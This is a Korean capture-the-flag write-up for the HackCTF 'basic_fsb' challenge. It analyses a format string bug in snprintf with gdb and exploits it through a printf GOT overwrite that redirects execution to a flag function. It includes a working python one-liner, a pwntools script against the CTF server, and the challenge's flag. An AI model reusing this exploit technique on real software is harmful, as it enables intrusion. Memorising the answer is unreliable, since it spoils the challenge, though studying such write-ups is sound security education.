풀이 사전 지식
+ Format String Bug
GOT Overwrite
# Problem
# Binanry
# Analysis
# Setting
Download
# Dynamic Analysis
# Run
아래의 명령어를 입력하여 실행합니다.
./basic_fsb
Bash
복사
이름에서 유추 가능하듯 Format String Bug 취약점이 존재한다고 생각할 수 있습니다.
AAAA %p %p를 입력하여 Format String Bug가 존재하는지 확인합니다.
우리가 입력한 인자 값이 2번째 저장되는걸 확인할 수 있으며 Format String Bug가 트리거된 것 또한 확인할 수 있습니다.
# Static Analysis
아래의 명령어를 입력해 gdb로 bof_basic를 열어줍니다.
gdb -q ./basic_fsb
Bash
복사
# disas main
아래의 명령어를 입력하여 main을 확인할 수 있습니다.
disas main
Bash
복사
assembly main
main에서 중심적으로 봐야할 부분은 존재하지 않습니다.
vuln에서 함수를 call하고 있으므로 vuln 분석을 진행하도록 하겠습니다.
# disas vuln
아래의 명령어를 입력하여 vuln을 확인할 수 있습니다.
disas vuln
Bash
복사
assembly vuln
일단 우리가 봐야할 시점인 vuln+12부터 분석을 진행 해보도록 하겠습니다.
•
vuln+12~17 : push 0x80486b0, call 0x80483d0 <printf@plt>
0x80486b0에 저장되어 있는 문자열을 출력합니다.
나중에 ebp-0xc위치에 담겨있는 값을 Call 하며 해당 값을 덮을 경우 취약점이 발생하게 됩니다.
•
vuln+33~46 : push eax, push 0x400, lea eax, [ebp-0x808], push eax, call 0x80483e0 <fgets@plt>
일단 먼저 fgets의 인자를 보게된다면 아래와 같습니다.
#include <stdio.h>
char *fgets (char *string, int n, FILE *stream);
C
복사
다시말해 0x400개 만큼을 ebp-0x808 위치에 있는 변수에 저장하는 것을 확인할 수 있습니다.
•
vuln+57~76 : lea eax,[ebp-0x808], push eax, push 0x400, lea eax,[ebp-0x408], push eax, call 0x8048430 <snprintf@plt>
먼저 snprintf함수의 인자를 확인하겠습니다.
#include <stdio.h>
int snprintf(char * s, size_t n, const char * format, ...);
C
복사
ebp-0x808의 주소(input)를 받아 eax에 저장한 뒤 stack에 push합니다.
이후 0x400을 push하고 ebp-0x408의 주소를 eax에 저장한 뒤 stack에 push합니다.
인자가 모두 Setting 되었다면 snprintf 함수를 호출합니다.
내가 입력한 값이 const char * format 변수가 되는것이며 0x400이 size_t n이 마지막으로 ebp-0x408이 char * s의 자리에 위치하게 됩니다.
여기 부분 즉 input으로 입력한 ebp-0x808 입력 값을 ebp-0x408으로 snprintf 함수를 통해서 처리될때 취약점이 발생합니다.
실제로 확인 해본다면 아래의 명령어를 입력하여 vuln+76에 BreakPoint를 걸어줍니다.
b *vuln+76
Bash
복사
r을 입력하여 input까지 실행한 뒤 AAAA %p %p를 입력합니다.
r
input : AAAA %p %p
Bash
복사
현재 스택 상태를 보면 문자열이 들어갈 ebp-0x408의 주소에 0xff830be0이 들어가 있는 것을 확인할 수 있습니다.
ni을 입력하여 snprintf 함수를 실행시킨 뒤 다시 stack 상태를 확인하면 아래와 같습니다.
이로서 snprintf 함수에서 Format String Bug가 발생하는 것을 확인 하였습니다.
# info function
우리가 사용할 함수가 있는지 확인하기 위해서 아래의 명령어를 입력합니다.
info function
Bash
복사
딱 봐도 flag라는 함수를 확인할 수 있고 해당 함수를 이용하여 ret를 flag로 이동시키면 됩니다.
# info printf@plt
위 과정에서 snprintf 함수로 Format String Bug을 트리거 한 뒤 사용할 got overwrite 대상으로 printf 함수를 사용하겠습니다.
info function printf@plt
Plain Text
복사
printf@plt의 주소는 0x080483d0임으로 해당 주소로 이동합니다.
# disas printf@plt
아래의 명령어를 입력하여 printf@plt function의 내부를 확인하겠습니다.
disas 0x080483d0
Plain Text
복사
assembly shell
•
0x080483d0+0 : jmp DWORD PTR ds:0x804a00c
0x804a00c의 주소로 jmp하는 것을 확인할 수 있으며 해당 주소가 got가 맞는지 확인하기 위해서 아래의 명령어를 입력해봅니다.
disas 0x804a00c
Bash
복사
해당 메모리 주소를 확인시 printf@got.plt를 확인할 수 있습니다.
# Attack Vector
## Vulnerable Function
# snprintf
snprintf 함수를 통해서 Format String Bug가 발생하는 것을 확인하였습니다.
# flag address
flag의 address는 0x80485B4(134514100)입니다.
# printf@got address
또한 printf함수의 got위치가 0x804a00c임을 확인하였습니다.
# Exploit
# Format String Bug Trigger
해당 Format String Bug를 트리거 하기 위해서 첫번째 인자에 0x0804a00c를 입력하고 %n으로 flag의 메모리 주소-4 만큼 문자열을 넣어주면 됩니다.
# Local
(python -c 'print "\x0c\xa0\x04\x08%134514096c%2$n"';cat) | ./basic_fsb
Bash
복사
# Payload
#! /bin/python3
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3002)
flag = 0x80485B4
printf_got = 0x0804A00C
payload = p32(printf_got)
payload += b"%134514096c"
payload += b"%n"
p.recv()
p.send(payload)
p.interactive()
Python
복사
실제 문자열을 많이 처리하기 때문에 조금 기다려주면 shell을 획득할 수 있습니다.
# Flag
HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}
Plain Text
복사